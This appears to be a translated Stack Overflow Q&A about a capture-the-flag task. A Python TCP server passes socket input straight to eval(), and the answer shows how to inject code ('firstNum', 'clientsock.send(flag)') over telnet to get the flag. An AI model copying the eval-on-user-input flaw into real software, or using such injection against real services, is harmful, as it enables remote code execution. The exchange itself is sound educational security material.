python - 将python代码注入(inject)TCP套接字服务器

标签 python sockets tcp code-injection

我被困在这个任务中,因为我正在解决一个与渗透测试有关的问题,我们得到了一个简单的 TCP Web 服务器,我们将连接到它并提供两个值,如果它们最终匹配,我们得到了标志,我们也得到了一段服务器代码。我已经尝试了我所知道的一切来获得旗帜。这是代码:

clientsock.send("Welcome to Maths_Server 1.0\n")
try:
    clientsock.send("Enter the first number, so I can EVALuate it:\n")
    firstNum = eval(clientsock.recv(1024))
    firstNum = firstNum + firstNum + ord(flag[4]) + ord(flag[8]) + ord(flag[5])
    clientsock.send("Enter the second number, so I can EVALuate it:\n")
    secondNum = eval(clientsock.recv(1024))
    if secondNum == firstNum:
        clientsock.send("The flag is: " + flag + "\n")
        firstNum = 0
        secondNum = 0
except:
    pass

clientsock.close()

最佳答案

只需发送字符串 firstNum 作为第二条消息。然后,无论您最初使用什么作为 firstNum 的值,您都会成功:

    secondNum = eval(clientsock.recv(1024))
->  secondNum = eval("firstNum")
->  secondNum = ... value of firstNum

这可以通过 telnet 轻松完成

$ telnet services.cyberprotection.agency 3166
Welcome to Maths_Server 1.0
Enter the first number, so I can EVALuate it:
10
Enter the second number, so I can EVALuate it:
firstNum
The flag is: .... (try yourself)...

另一种可能性是您只需发送字符串 clientsock.send(flag) 作为第一个数字,它会立即将 flag 的值发回给您。请注意,这不适用于测试服务器,因此我猜想源代码略有不同并且不会简单地执行远程用户提供的任何类型的代码,但前提是它符合您所获得的任务的预期。但它适用于我对给定代码的测试安装。

这有望让您得出这样的结论:永远不应该只评估未经过滤的用户输入。

关于python - 将python代码注入(inject)TCP套接字服务器,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/35230787/

相关文章:

Python正则表达式单词、ip和端口组合匹配

C套接字,文件后发送消息,TCP

delphi - 如何在 Delphi XE3 及更高版本中使用 Synapse 库?

networking - 关于TCP/IP端口绑定(bind)的问题

delphi - Indy TIdTCPClient 组件偶尔不超时,收不到数据

python - 获取项目列表并将每个项目的值显示为字符串

python - Pandas 加入/合并/合并两个数据帧

python - 为什么我在使用 aic_min_order 时得到 'The computed initial AR coefficients are not stationary'?

c - 为什么 Connect() 返回负值?

Java Sockets - 将数据从服务器发送到客户端